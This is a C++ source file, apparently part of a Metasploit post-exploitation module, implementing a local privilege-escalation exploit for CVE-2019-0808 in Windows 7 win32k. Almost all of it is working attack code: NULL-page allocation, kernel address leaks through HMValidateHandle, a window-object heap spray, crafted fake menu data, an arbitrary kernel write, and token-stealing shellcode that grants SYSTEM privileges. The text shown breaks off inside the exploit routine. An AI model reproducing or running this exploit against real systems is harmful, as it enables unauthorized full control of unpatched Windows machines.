729 lines
30 KiB
C++
729 lines
30 KiB
C++
#define WIN32_LEAN_AND_MEAN
|
|
|
|
#include <windows.h>
|
|
#include <stdio.h>
|
|
#include <bcrypt.h> // Included to define NTSTATUS
|
|
|
|
#define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
|
|
#define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN
|
|
#include "../../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c"
|
|
|
|
typedef struct _MSF_PAYLOAD {
|
|
DWORD dwSize;
|
|
CHAR cPayloadData[];
|
|
} MSF_PAYLOAD;
|
|
typedef MSF_PAYLOAD* PMSF_PAYLOAD;
|
|
|
|
// Define the undefined window message type WM_MN_FINDMENUWINDOWFROMPOINT so the code
|
|
// knows how to utilize it correctly within this program.
|
|
#define WM_MN_FINDMENUWINDOWFROMPOINT 0x1EB
|
|
|
|
// Set the success flag to indicate whether or not the exploit succeeded or not to FALSE.
|
|
BOOL success = FALSE;
|
|
|
|
// The following lines set up global variables to hold the handle of the primary
|
|
// and secondary windows to be used in the tagWND write primitive, as well as
|
|
// the address of each of these windows.
|
|
HWND hPrimaryWindow = NULL;
|
|
HWND hSecondaryWindow = NULL;
|
|
unsigned int primaryWindowAddress = 0;
|
|
unsigned int secondaryWindowAddress = 0;
|
|
UINT addressToWrite = 0;
|
|
|
|
/* The following definitions define the various structures
|
|
needed within sprayWindows() */
|
|
typedef struct _HEAD
|
|
{
|
|
HANDLE h;
|
|
DWORD cLockObj;
|
|
} HEAD, *PHEAD;
|
|
|
|
typedef struct _THROBJHEAD
|
|
{
|
|
HEAD h;
|
|
PVOID pti;
|
|
} THROBJHEAD, *PTHROBJHEAD;
|
|
|
|
typedef struct _THRDESKHEAD
|
|
{
|
|
THROBJHEAD h;
|
|
PVOID rpdesk;
|
|
PVOID pSelf; // points to the kernel mode address of the current _THRDESKHEAD object
|
|
} THRDESKHEAD, *PTHRDESKHEAD;
|
|
|
|
// Define the function prototype for NtAllocateVirtualMemory() so that this program
|
|
// knows how to call it correctly as well as what parameters it expects.
|
|
typedef NTSTATUS(WINAPI *NtAllocateVirtualMemory)(
|
|
HANDLE ProcessHandle,
|
|
PVOID *BaseAddress,
|
|
ULONG ZeroBits,
|
|
PULONG AllocationSize,
|
|
ULONG AllocationType,
|
|
ULONG Protect
|
|
);
|
|
|
|
// Create a pointer to the NtAllocateVirtualMemory() function and initialize it to NULL.
|
|
NtAllocateVirtualMemory pfnNtAllocateVirtualMemory = NULL;
|
|
|
|
// Create a HWND handle to hold the handle to the maliciously crafted window.
|
|
HWND hWndFakeMenu;
|
|
|
|
// Create a HWND handle to hold the handle to the application's main menu.
|
|
HWND hWndMain;
|
|
|
|
// This boolean will indicate whether or not hWndMain's window
|
|
// procedure is set to DefWindowProc() or not.
|
|
BOOL bIsDefWndProc = TRUE;
|
|
|
|
// This boolean will indicate whether or not the drag operation
|
|
// has been conducted with the mouse.
|
|
BOOL bDoneDrag = FALSE;
|
|
|
|
// Create a counter for the number of times the DisplayEventProc()
|
|
// function is hit, which will occur every time a popup menu is created.
|
|
volatile UINT iMenuCreated = 0;
|
|
|
|
// This function contains the inlined assembly responsible for making a syscall to
|
|
// NtUserMNDragOver(), which has a syscall value of 0x11ED on Windows 7 x86 and Windows
|
|
// 7 SP1 x86. Refer to https://j00ru.vexillium.org/syscalls/win32k/64/ for the syscall values
|
|
// for 64 bit Windows operating systems, or https://j00ru.vexillium.org/syscalls/win32k/32/
|
|
// for the syscall values for 32 bit Windows operating systems.
|
|
void callNtUserMNDragOverSysCall(LPVOID address1, LPVOID address2) {
|
|
_asm {
|
|
mov eax, 0x11ED
|
|
push address2
|
|
push address1
|
|
mov edx, esp
|
|
int 0x2E
|
|
pop eax
|
|
pop eax
|
|
}
|
|
}
|
|
|
|
// Define function definition for HMValidateHandle() and name this function definition lHMValidateHandle.
|
|
typedef void*(__fastcall *lHMValidateHandle)(HWND h, int type);
|
|
|
|
// Define global pointer to HMValidateHandle() which is of function type lHMValidateHandle.
|
|
lHMValidateHandle pHmValidateHandle = NULL;
|
|
|
|
|
|
// Uncomment this line to include debug output
|
|
//#define DEBUGTRACE
|
|
|
|
#ifdef DEBUGTRACE
|
|
#define dprintf(...) real_dprintf(__VA_ARGS__)
|
|
static void real_dprintf(char *format, ...)
|
|
{
|
|
va_list args;
|
|
char buffer[1024];
|
|
va_start(args, format);
|
|
vsnprintf_s(buffer, sizeof(buffer), sizeof(buffer)-3, format, args);
|
|
strcat_s(buffer, sizeof(buffer), "\r\n");
|
|
OutputDebugStringA(buffer);
|
|
va_end(args); // Needed as according to http://www.cplusplus.com/reference/cstdarg/va_start/
|
|
// one should always call va_end in the same function one calls va_start.
|
|
}
|
|
#else
|
|
#define dprintf(...)
|
|
#endif
|
|
|
|
|
|
// Thanks to https://github.com/YeonExp/HEVD/blob/c19ad75ceab65cff07233a72e2e765be866fd636/NullPointerDereference/NullPointerDereference/main.cpp#L56 for
|
|
// explaining this in an example along with the finer details that are often forgotten.
|
|
bool allocateNullPage() {
|
|
/* Set the base address at which the memory will be allocated to 0x1.
|
|
This is done since a value of 0x0 will not be accepted by NtAllocateVirtualMemory(),
|
|
however due to page alignment requirements the 0x1 will be rounded down to 0x0 internally.*/
|
|
PVOID BaseAddress = (PVOID)0x1;
|
|
|
|
/* Set the size to be allocated to 40960 to ensure that there
|
|
is plenty of memory allocated and available for use. */
|
|
SIZE_T size = 40960;
|
|
|
|
/* Call NtAllocateVirtualMemory() to allocate the virtual memory at address 0x0 with the size
|
|
specified in the variable size. Also make sure the memory is allocated with read, write,
|
|
and execute permissions.*/
|
|
NTSTATUS result = pfnNtAllocateVirtualMemory(GetCurrentProcess(), &BaseAddress, 0x0, &size, MEM_COMMIT | MEM_RESERVE | MEM_TOP_DOWN, PAGE_EXECUTE_READWRITE);
|
|
|
|
// If the call to NtAllocateVirtualMemory() failed, return FALSE.
|
|
if (result != 0x0) {
|
|
return FALSE;
|
|
}
|
|
|
|
// If the code reaches this point, then everything went well, so return TRUE.
|
|
return TRUE;
|
|
}
|
|
|
|
BOOL findHMValidateHandleAddress(HMODULE hUser32) {
|
|
// The address of the function HMValidateHandleAddress() is not exported to
|
|
// the public. IsMenu() on the other hand, is exported to the public via
|
|
// user32.dll and it contains a call to HMValidateHandle() early on within
|
|
// its setup code. The call starts with the byte \xEB, which marks the beginning
|
|
// of an indirect call. By obtaining the offset of this indirect call and adding it
|
|
// to the address where user32.dll is loaded, one can find the address of the
|
|
// HMValidateHandle() function within user32.dll and can call it directly.
|
|
|
|
// Obtain the address of the function IsMenu() from the currently loaded copy of user32.dll.
|
|
BYTE * pIsMenuFunction = (BYTE *)GetProcAddress(hUser32, "IsMenu");
|
|
if (pIsMenuFunction == NULL) {
|
|
dprintf("[!] Failed to find the address of IsMenu() within user32.dll.\r\n");
|
|
return FALSE;
|
|
}
|
|
else {
|
|
dprintf("[*] pIsMenuFunction: 0x%08X\r\n", pIsMenuFunction);
|
|
}
|
|
|
|
// Search for the location of the \xEB byte within the IsMenu() function
|
|
// to find the start of the indirect call to HMValidateHandle().
|
|
unsigned int offsetInIsMenuFunction = 0;
|
|
BOOL foundHMValidateHandleAddress = FALSE;
|
|
for (unsigned int i = 0; i < 0x1000; i++) {
|
|
BYTE* pCurrentByte = pIsMenuFunction + i;
|
|
if (*pCurrentByte == 0xE8) {
|
|
offsetInIsMenuFunction = i + 1;
|
|
break;
|
|
}
|
|
}
|
|
|
|
// Throw error and exit if the \xE8 byte couldn't be located.
|
|
if (offsetInIsMenuFunction == 0) {
|
|
dprintf("[!] Couldn't find offset to HMValidateHandle() within IsMenu().\r\n");
|
|
return FALSE;
|
|
}
|
|
|
|
// Output address of user32.dll in memory for debugging purposes.
|
|
dprintf("[*] hUser32: 0x%08X\r\n", hUser32);
|
|
|
|
// Get the value of the relative address being called within the IsMenu() function.
|
|
unsigned int relativeAddressBeingCalledInIsMenu = *(unsigned int *)(pIsMenuFunction + offsetInIsMenuFunction);
|
|
dprintf("[*] relativeAddressBeingCalledInIsMenu: 0x%08X\r\n", relativeAddressBeingCalledInIsMenu);
|
|
|
|
// Find out how far the IsMenu() function is located from the base address of user32.dll.
|
|
unsigned int addressOfIsMenuFromStartOfUser32 = ((unsigned int)pIsMenuFunction - (unsigned int)hUser32);
|
|
dprintf("[*] addressOfIsMenuFromStartOfUser32: 0x%08X\r\n", addressOfIsMenuFromStartOfUser32);
|
|
|
|
// Take this offset and add to it the relative address used in the call to HMValidateHandle().
|
|
// Result should be the offset of HMValidateHandle() from the start of user32.dll.
|
|
unsigned int offset = addressOfIsMenuFromStartOfUser32 + relativeAddressBeingCalledInIsMenu;
|
|
dprintf("[*] offset: 0x%08X\r\n", offset);
|
|
|
|
// Add the value of the "offset" variable to hUser32 to get the address of HmValidateHandle() within user32.dll.
|
|
// Additionally add 11 bytes since on Windows 10 these are not NOPs and it would be
|
|
// ideal if this code could be reused in the future.
|
|
pHmValidateHandle = (lHMValidateHandle)((unsigned int)hUser32 + offset + 11);
|
|
dprintf("[*] pHmValidateHandle: 0x%08X\r\n", pHmValidateHandle);
|
|
return TRUE;
|
|
}
|
|
|
|
// Taken from https://www.abatchy.com/2018/01/kernel-exploitation-2#token-stealing-payload-windows-7-x86-sp1.
|
|
// Just a standard token stealing shellcode
|
|
__declspec(noinline) int Shellcode()
|
|
{
|
|
__asm {
|
|
xor eax, eax // Set EAX to 0.
|
|
mov eax, DWORD PTR fs : [eax + 0x124] // Get nt!_KPCR.PcrbData.
|
|
// _KTHREAD is located at FS:[0x124]
|
|
mov eax, [eax + 0x50] // Get nt!_KTHREAD.ApcState.Process
|
|
mov ecx, eax // Copy current process _EPROCESS structure
|
|
mov edx, 0x4 // Windows 7 SP1 SYSTEM process PID = 0x4
|
|
SearchSystemPID:
|
|
mov eax, [eax + 0B8h] // Get nt!_EPROCESS.ActiveProcessLinks.Flink
|
|
sub eax, 0B8h
|
|
cmp[eax + 0B4h], edx // Get nt!_EPROCESS.UniqueProcessId
|
|
jne SearchSystemPID
|
|
mov edx, [eax + 0xF8] // Get SYSTEM process nt!_EPROCESS.Token
|
|
mov[ecx + 0xF8], edx // Assign SYSTEM process token.
|
|
}
|
|
}
|
|
|
|
// Tons of thanks go to https://github.com/jvazquez-r7/MS15-061/blob/first_fix/ms15-061.cpp for
|
|
// additional insight into how this function should operate.
|
|
LRESULT CALLBACK sprayCallback(HWND hWnd, UINT uMsg, WPARAM wParam, LPARAM lParam)
|
|
{
|
|
if (uMsg == WM_ENTERIDLE) {
|
|
WORD userModeVar = 0;
|
|
__asm
|
|
{
|
|
// Grab the value of the CS register and
|
|
// save it into the variable userMode.
|
|
mov ax, cs
|
|
mov userModeVar, ax
|
|
}
|
|
// If userModeVar is 0x1B, this function is executing in usermode
|
|
// code and something went wrong. Therefore output a message that
|
|
// the exploit didn't succeed and bail.
|
|
if (userModeVar == 0x1b)
|
|
{
|
|
// USER MODE
|
|
dprintf("[!] Exploit didn't succeed, entered sprayCallback with user mode privileges.\r\n");
|
|
ExitProcess(-1); // Bail as if this code is hit either the target isn't vulnerable or something is wrong with the exploit.
|
|
}
|
|
else
|
|
{
|
|
success = TRUE; // Set the success flag to indicate the sprayCallback() window procedure is running as SYSTEM.
|
|
Shellcode(); // Call the Shellcode() function to perform the token stealing
|
|
}
|
|
}
|
|
return DefWindowProc(hWnd, uMsg, wParam, lParam);
|
|
}
|
|
|
|
// Define the HMValidateHandle() window type TYPE_WINDOW appropriately.
|
|
#define TYPE_WINDOW 1
|
|
|
|
/* Main function for spraying the tagWND objects into memory and finding two
|
|
that are less than 0x3fd00 apart */
|
|
bool sprayWindows() {
|
|
HWND hwndSprayHandleTable[0x100]; // Create a table to hold 0x100 HWND handles created by the spray.
|
|
|
|
// Create and set up the window class for the sprayed window objects.
|
|
WNDCLASSEXW sprayClass = { 0 };
|
|
sprayClass.cbSize = sizeof(WNDCLASSEXW);
|
|
sprayClass.lpszClassName = TEXT("sprayWindowClass");
|
|
sprayClass.lpfnWndProc = sprayCallback; // Set the window procedure for the sprayed window objects to sprayCallback().
|
|
|
|
if (RegisterClassExW(&sprayClass) == 0) {
|
|
dprintf("[!] Couldn't register the sprayClass class! Error was: 0x%08X\r\n", GetLastError());
|
|
return FALSE;
|
|
}
|
|
|
|
// Create 0x100 windows using the sprayClass window class with the window name "spray".
|
|
for (int i = 0; i < 0x100; i++) {
|
|
hwndSprayHandleTable[i] = CreateWindowExW(0, sprayClass.lpszClassName, TEXT("spray"), 0, CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT, NULL, NULL, NULL, NULL);
|
|
}
|
|
|
|
// For each entry in the hwndSprayHandle table...
|
|
for (int x = 0; x < 0x100; x++) {
|
|
// Leak the kernel address of the current HWND being examined, save it into firstEntryAddress.
|
|
THRDESKHEAD *firstEntryDesktop = (THRDESKHEAD *)pHmValidateHandle(hwndSprayHandleTable[x], TYPE_WINDOW);
|
|
unsigned int firstEntryAddress = (unsigned int)firstEntryDesktop->pSelf;
|
|
|
|
// Then start a loop to start comparing the kernel address of this hWND
|
|
// object to the kernel address of every other HWND object...
|
|
for (int y = 0; y < 0x100; y++) {
|
|
if (x != y) { // If x and y are the same value, then we are comparing the same entries in hwndSprayTable
|
|
// with one another, so in these cases skip one instance of the loop.
|
|
|
|
// Leak the kernel address of the second HWND object being used in the comparison, save it into secondEntryAddress.
|
|
THRDESKHEAD *secondEntryDesktop = (THRDESKHEAD *)pHmValidateHandle(hwndSprayHandleTable[y], TYPE_WINDOW);
|
|
unsigned int secondEntryAddress = (unsigned int)secondEntryDesktop->pSelf;
|
|
|
|
// If the kernel address of the HWND object leaked earlier in the code is greater than
|
|
// the kernel address of the HWND object leaked above, execute the following code.
|
|
if (firstEntryAddress > secondEntryAddress) {
|
|
|
|
// Check if the difference between the two addresses is less than 0x3fd00.
|
|
if ((firstEntryAddress - secondEntryAddress) < 0x3fd00) {
|
|
dprintf("[*] Primary window address: 0x%08X\r\n", secondEntryAddress);
|
|
dprintf("[*] Secondary window address: 0x%08X\r\n", firstEntryAddress);
|
|
|
|
// Save the handle of secondEntryAddress into hPrimaryWindow and its address into primaryWindowAddress.
|
|
hPrimaryWindow = hwndSprayHandleTable[y];
|
|
primaryWindowAddress = secondEntryAddress;
|
|
|
|
// Save the handle of firstEntryAddress into hSecondaryWindow and its address into secondaryWindowAddress.
|
|
hSecondaryWindow = hwndSprayHandleTable[x];
|
|
secondaryWindowAddress = firstEntryAddress;
|
|
|
|
// Windows have been found, escape the loop.
|
|
break;
|
|
}
|
|
}
|
|
|
|
// If the kernel address of the HWND object leaked earlier in the code is less than
|
|
// the kernel address of the HWND object leaked above, execute the following code.
|
|
else {
|
|
|
|
// Check if the difference between the two addresses is less than 0x3fd00.
|
|
if ((secondEntryAddress - firstEntryAddress) < 0x3fd00) {
|
|
dprintf("[*] Primary window address: 0x%08X\r\n", firstEntryAddress);
|
|
dprintf("[*] Secondary window address: 0x%08X\r\n", secondEntryAddress);
|
|
|
|
// Save the handle of firstEntryAddress into hPrimaryWindow and its address into primaryWindowAddress.
|
|
hPrimaryWindow = hwndSprayHandleTable[x];
|
|
primaryWindowAddress = firstEntryAddress;
|
|
|
|
// Save the handle of secondEntryAddress into hSecondaryWindow and its address into secondaryWindowAddress.
|
|
hSecondaryWindow = hwndSprayHandleTable[y];
|
|
secondaryWindowAddress = secondEntryAddress;
|
|
|
|
// Windows have been found, escape the loop.
|
|
break;
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
// Check if the inner loop ended and the windows were found. If so print a debug message.
|
|
// Otherwise continue on to the next object in the hwndSprayTable array.
|
|
if (hPrimaryWindow != NULL) {
|
|
dprintf("[*] Found target windows!\r\n");
|
|
break;
|
|
}
|
|
}
|
|
|
|
// Check that hPrimaryWindow isn't NULL after both the loops are
|
|
// complete. This will only occur in the event that none of the 0x1000
|
|
// window objects were within 0x3fd00 bytes of each other. If this occurs, then bail.
|
|
if (hPrimaryWindow == NULL) {
|
|
dprintf("[!] Couldn't find the right windows for the tagWND primitive. Exiting....\r\n");
|
|
return FALSE;
|
|
}
|
|
|
|
// This loop will destroy the handles to all other
|
|
// windows besides hPrimaryWindow and hSecondaryWindow,
|
|
// thereby ensuring that there are no lingering unused
|
|
// handles wasting system resources.
|
|
for (int p = 0; p < 0x100; p++) {
|
|
HWND temp = hwndSprayHandleTable[p];
|
|
if ((temp != hPrimaryWindow) && (temp != hSecondaryWindow)) {
|
|
DestroyWindow(temp);
|
|
}
|
|
}
|
|
|
|
addressToWrite = (UINT)primaryWindowAddress + 0x90; // Set addressToWrite to primaryWindow's cbwndExtra field.
|
|
|
|
dprintf("[*] Destroyed spare windows!\r\n");
|
|
|
|
// Check if its possible to set the window text in hSecondaryWindow.
|
|
// If this isn't possible, there is a serious error, and the program should exit.
|
|
// Otherwise return TRUE as everything has been set up correctly.
|
|
if (SetWindowTextW(hSecondaryWindow, L"test String") == 0) {
|
|
dprintf("[!] Something is wrong, couldn't initialize the text buffer in the secondary window....\r\n");
|
|
return FALSE;
|
|
}
|
|
else {
|
|
return TRUE;
|
|
}
|
|
}
|
|
|
|
VOID CALLBACK DisplayEventProc(HWINEVENTHOOK hWinEventHook, DWORD event, HWND hwnd, LONG idObject, LONG idChild, DWORD idEventThread, DWORD dwmsEventTime)
|
|
{
|
|
switch (iMenuCreated)
|
|
{
|
|
case 0:
|
|
SendMessageW(hwnd, WM_LBUTTONDOWN, 0, 0x00050005); // Press the left mouse button down on point (0x5, 0x5).
|
|
break;
|
|
case 1:
|
|
SendMessageW(hwnd, WM_MOUSEMOVE, 0, 0x00060006); // Drag the mouse, with the left mouse button down, to point (0x6, 0x6)
|
|
break;
|
|
}
|
|
dprintf("[*] MSG\n");
|
|
iMenuCreated++; // Increment iMenuCreated every time this is called.
|
|
}
|
|
|
|
LRESULT WINAPI SubMenuProc(HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam)
|
|
{
|
|
if (msg == WM_MN_FINDMENUWINDOWFROMPOINT) {
|
|
dprintf("[*] In WM_MN_FINDMENUWINDOWFROMPOINT handler...\r\n");
|
|
dprintf("[*] Restoring window procedure...\r\n");
|
|
SetWindowLongPtr(hwnd, GWLP_WNDPROC, (ULONG)DefWindowProc);
|
|
|
|
/* The wParam parameter here has the same value as pPopupMenu inside MNGetpItemFromIndex(), except
|
|
wParam has been subtracted by minus 0x10. Code adjusts this below to accommodate.
|
|
|
|
This is an important information leak as without this the attacker cannot manipulate the values
|
|
returned from MNGetpItemFromIndex(), which can result in kernel crashes and a dramatic decrease in
|
|
exploit reliability.
|
|
*/
|
|
UINT pPopupAddressInCalculations = wParam + 0x10;
|
|
|
|
// Set the address to write to to be the right bit of cbwndExtra in the target tagWND.
|
|
UINT addressToWriteTo = ((addressToWrite + 0x6C) - ((pPopupAddressInCalculations * 0x6C) + 0x4));
|
|
|
|
// Set offset 0x20 of the NULL page to 0xFFFFFFFF to bypass this check in MNGetpItemFromIndex()
|
|
// by setting the value to be compared to EAX to a really high value. The check's code can be seen below.
|
|
//
|
|
// cmp eax, [ecx + 20h]
|
|
// jnb short loc_BF96F0CA;
|
|
//
|
|
memcpy_s((void *)0x20, 4, "\xFF\xFF\xFF\xFF", 4);
|
|
|
|
|
|
// Set offset 0x34 in the NULL page to the addressToWrite to, as offset
|
|
// 0x34 will contain a DWORD that determines where in memory the arbitrary write will write to.
|
|
memcpy_s((void *)0x34, 4, &addressToWriteTo, 4);
|
|
|
|
|
|
/* Calculate what value to put in offset 0x4C of the NULL page so that the second
|
|
call to MNGetpItemFromIndex() will return an address within the NULL page region that
|
|
is readable. The math used here is the same as the address calculation math used previously,
|
|
but the operations are just done somewhat in reverse. */
|
|
UINT secondAddress = ((0x100000180 - addressToWriteTo) / 0x6C);
|
|
|
|
/* Fill out offset 0x4C of the NULL page so that MNGetpItemFromIndex() succeeds and returns an address,
|
|
which when incremented by 0x28, points to a readable address. The snippet below shows the
|
|
relevant code inside win32k.sys which will pass offset 0x4C of the NULL page to MNGetpItemFromIndex()
|
|
and which will add 0x28 to address returned before using it as a pointer to an address to read from.
|
|
|
|
.text:BF975EA3 mov eax, [ebx+14h] ; EAX = ppopupmenu->spmenu
|
|
.text:BF975EA3 ;
|
|
.text:BF975EA3 ; Should set EAX to 0 or NULL.
|
|
.text:BF975EA6 push dword ptr [eax+4Ch] ; uIndex. This will be the value at address 0x4C given
|
|
.text:BF975EA6 ; that ppopupmenu->spmenu is NULL.
|
|
.text:BF975EA9 push eax ; spMenu. Will be NULL or 0.
|
|
.text:BF975EAA call MNGetpItemFromIndex
|
|
..............
|
|
.text:BF975EBA add ecx, [eax+28h] ; ECX += pItemFromIndex->yItem
|
|
.text:BF975EBA ;
|
|
.text:BF975EBA ; pItemFromIndex->yItem will be the value
|
|
.text:BF975EBA ; at offset 0x28 of whatever value
|
|
.text:BF975EBA ; MNGetpItemFromIndex returns. */
|
|
memcpy_s((void *)0x4C, 4, &secondAddress, 4);
|
|
|
|
/* Starting at offset 0x50, set all the rest of the bytes to 0xF0. This will ensure
|
|
that the jump at 0xBF975ED0 is NOT taken by setting the value of pItemFromIndex->yItem to 0xF0F0F0F0.
|
|
|
|
.text:BF975ECE cmp ecx, ebx
|
|
.text:BF975ED0 jg short loc_BF975EDB ; Jump to loc_BF975EDB if the following condition is true:
|
|
.text:BF975ED0 ; ((pMenuState->ptMouseLast.y - pMenuState->uDraggingHitArea->rcClient.top) + pItemFromIndex->yItem) > (pItem->yItem + SYSMET(CYDRAG))
|
|
*/
|
|
memset((void *)0x50, 0xF0, 0x1000);
|
|
|
|
return (ULONG)hWndFakeMenu;
|
|
}
|
|
return DefWindowProc(hwnd, msg, wParam, lParam);
|
|
}
|
|
|
|
LRESULT CALLBACK WindowHookProc(INT code, WPARAM wParam, LPARAM lParam)
|
|
{
|
|
tagCWPSTRUCT *cwp = (tagCWPSTRUCT *)lParam;
|
|
|
|
// If the drag and drop operation hasn't started yet, then just call the next hook if there is one.
|
|
if (!bDoneDrag) {
|
|
return CallNextHookEx(0, code, wParam, lParam);
|
|
}
|
|
|
|
// If the incoming message was a WM_MN_FINDMENUWINDOWFROMPOINT message, then set bIsDefWndProc to FALSE
|
|
// to indicate hWndMain's window procedure is no longer DefWindowProc(), and set hWndMain's window
|
|
// procedure to SubMenuProc().
|
|
if ((cwp->message == WM_MN_FINDMENUWINDOWFROMPOINT))
|
|
{
|
|
bIsDefWndProc = FALSE;
|
|
dprintf("[*] HWND: %p \n", cwp->hwnd);
|
|
SetWindowLongPtr(cwp->hwnd, GWLP_WNDPROC, (ULONG64)SubMenuProc);
|
|
}
|
|
else {
|
|
if ((cwp->message == 0x1E5)) {
|
|
UINT offset = 0; // Create the offset variable which will hold the offset from the start of
|
|
// hPrimaryWindow's cbwnd data field to write to.
|
|
|
|
UINT addressOfStartofPrimaryWndCbWndData = (primaryWindowAddress + 0xB0); // Set addressOfStartofPrimaryWndCbWndData to the address of
|
|
// the start of hPrimaryWindow's cbwnd data field.
|
|
|
|
// Set offset to the difference between hSecondaryWindow's
|
|
// strName.Buffer's memory address and the address of
|
|
// hPrimaryWindow's cbwnd data field.
|
|
offset = ((secondaryWindowAddress + 0x8C) - addressOfStartofPrimaryWndCbWndData);
|
|
dprintf("[*] Offset: 0x%08X\r\n", offset);
|
|
|
|
// Set the strName.Buffer address in hSecondaryWindow to (secondaryWindowAddress + 0x16), or the address of the bServerSideWindowProc bit.
|
|
if (SetWindowLongA(hPrimaryWindow, offset, (secondaryWindowAddress + 0x16)) == 0) {
|
|
dprintf("[!] An error occurred when using SetWindowLongA() to set the bServerSideWindowProc bit: 0x%08X\r\n", GetLastError());
|
|
ExitProcess(-1);
|
|
}
|
|
else {
|
|
dprintf("[*] SetWindowLongA() called to set strName.Buffer address. Current strName.Buffer address that is being adjusted: 0x%08X\r\n", (addressOfStartofPrimaryWndCbWndData + offset));
|
|
}
|
|
|
|
// Write the value \x06 to it to set the bServerSideWindowProc bit in hSecondaryWindow.
|
|
if (SetWindowTextA(hSecondaryWindow, "\x06") == 0) {
|
|
dprintf("[!] SetWindowTextA() couldn't set the bServerSideWindowProc bit. Error was: 0x%08X\r\n", GetLastError());
|
|
ExitProcess(-1);
|
|
}
|
|
else {
|
|
dprintf("[*] Successfully set the bServerSideWindowProc bit at: 0x%08X\r\n", (secondaryWindowAddress + 0x16));
|
|
dprintf("[*] Sending hSecondaryWindow a WM_ENTERIDLE message to trigger the execution of the shellcode as SYSTEM.\r\n");
|
|
SendMessageA(hSecondaryWindow, WM_ENTERIDLE, NULL, NULL);
|
|
if (success == TRUE) {
|
|
dprintf("[*] Successfully exploited CVE-2019-0808 and triggered the shellcode!\r\n");
|
|
}
|
|
else {
|
|
dprintf("[!] Exploit failed, we did not elevate our privileges for some reason!\r\n");
|
|
ExitProcess(-1);
|
|
}
|
|
}
|
|
}
|
|
}
|
|
return CallNextHookEx(0, code, wParam, lParam);
|
|
}
|
|
|
|
int exploit(PMSF_PAYLOAD pMsfPayload)
|
|
{
|
|
dprintf("[*] Exploiting!\r\n");
|
|
|
|
// Create the primary popup menu and its submenu
|
|
HMENU hMenuRoot = CreatePopupMenu();
|
|
HMENU hMenuSub = CreatePopupMenu();
|
|
|
|
if ((hMenuRoot == NULL) || (hMenuSub == NULL)){
|
|
dprintf("[!] Couldn't create the popup menus needed to exploit this vulnerability. Exiting!\r\n");
|
|
return -1;
|
|
}
|
|
|
|
// Get a HINSTANCE handle to the current process.
|
|
HINSTANCE hInst = GetModuleHandleA(NULL);
|
|
if (hInst == NULL){
|
|
dprintf("[!] Couldn't get a handle to the current process! Exiting!\r\n");
|
|
return -1;
|
|
}
|
|
|
|
// Get the address of NtAllocateVirtualMemory() from ntdll.dll's export table.
|
|
pfnNtAllocateVirtualMemory = (NtAllocateVirtualMemory)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtAllocateVirtualMemory");
|
|
|
|
// Set the window hook and the event hook.
|
|
if (SetWindowsHookEx(WH_CALLWNDPROC, (HOOKPROC)WindowHookProc, hInst, GetCurrentThreadId()) == NULL){
|
|
dprintf("[!] Couldn't set the WH_CALLWNDPROC hook, error was: 0x%08x\r\n", GetLastError());
|
|
return -1;
|
|
}
|
|
if (SetWinEventHook(EVENT_SYSTEM_MENUPOPUPSTART, EVENT_SYSTEM_MENUPOPUPSTART, hInst, DisplayEventProc, GetCurrentProcessId(), GetCurrentThreadId(), 0) == 0){
|
|
dprintf("[!] Couldn't set the EVENT_SYSTEM_MENUPOPUPSTART event hook, error was: 0x%08x\r\n", GetLastError());
|
|
return -1;
|
|
}
|
|
|
|
// Set up the buffers for the call to NtUserMNDragOver().
|
|
CHAR buf[0x100] = { 0 };
|
|
POINT pt;
|
|
pt.x = 2;
|
|
pt.y = 2;
|
|
|
|
// Allocate the NULL page. If this fails, exit the program.
|
|
if (allocateNullPage() == FALSE) {
|
|
dprintf("[!] Couldn't allocate the NULL page!\r\n");
|
|
return -1;
|
|
}
|
|
else {
|
|
dprintf("[*] Allocated the NULL page!\r\n");
|
|
}
|
|
|
|
// Just to be sure that these modules are loaded, lets load them again.
|
|
// Also allows the attacker to grab the address where user32.dll is loaded in memory.
|
|
HMODULE hUser32 = LoadLibraryW(L"user32.dll");
|
|
LoadLibraryW(L"gdi32.dll");
|
|
|
|
// Find the address of HMValidateHandle() using the address of user32.dll
|
|
if (findHMValidateHandleAddress(hUser32) == FALSE) {
|
|
dprintf("[!] Couldn't locate the address of HMValidateHandle!\r\n");
|
|
return -1;
|
|
}
|
|
|
|
// Spray the windows and find two that are less than 0x3fd00 apart in memory.
|
|
if (sprayWindows() == FALSE) {
|
|
dprintf("[!] Couldn't find two tagWND objects less than 0x3fd00 apart in memory after the spray!\r\n");
|
|
return -1;
|
|
}
|
|
|
|
// Create the malicious window, which will have its spMenu field set to NULL.
|
|
hWndFakeMenu = CreateWindowA("#32768", "MN", WS_DISABLED, 0, 0, 1, 1, nullptr, nullptr, hInst, nullptr);
|
|
if (hWndFakeMenu == NULL){
|
|
dprintf("[!] Couldn't create hWndFakeMenu using menu class #32768. Error was: 0x%08x\r\n", GetLastError());
|
|
return -1;
|
|
}
|
|
dprintf("[*] FakeMenu: %p \n", hWndFakeMenu);
|
|
|
|
// Change the menu settings for the two popup menus so that they are drag and drop enabled.
|
|
MENUINFO mi = { 0 };
|
|
mi.cbSize = sizeof(MENUINFO);
|
|
mi.fMask = MIM_STYLE;
|
|
mi.dwStyle = MNS_MODELESS | MNS_DRAGDROP;
|
|
if (SetMenuInfo(hMenuRoot, &mi) == 0){
|
|
dprintf("[!] Couldn't set the menu info for hMenuRoot! Error was: 0x%08x\r\n", GetLastError());
|
|
return -1;
|
|
}
|
|
if (SetMenuInfo(hMenuSub, &mi) == 0){
|
|
dprintf("[!] Couldn't set the menu info for hMenuRoot! Error was: 0x%08x\r\n", GetLastError());
|
|
return -1;
|
|
}
|
|
|
|
// Set up the hMenuRoot popupmenu to be the root popup menu which will display hMenuSub when selected.
|
|
if (AppendMenuA(hMenuRoot, MF_BYPOSITION | MF_POPUP, (UINT_PTR)hMenuSub, "Root") == 0){
|
|
dprintf("[!] Failed to append hMenuRoot to the menu bar using AppendMenuA! Error was: 0x%08x\r\n", GetLastError());
|
|
return -1;
|
|
}
|
|
if (AppendMenuA(hMenuSub, MF_BYPOSITION | MF_POPUP, 0, "Sub") == 0){
|
|
dprintf("[!] Failed to append hMenuSub to hMenuRoot using AppendMenuA! Error was: 0x%08x\r\n", GetLastError());
|
|
return -1;
|
|
}
|
|
|
|
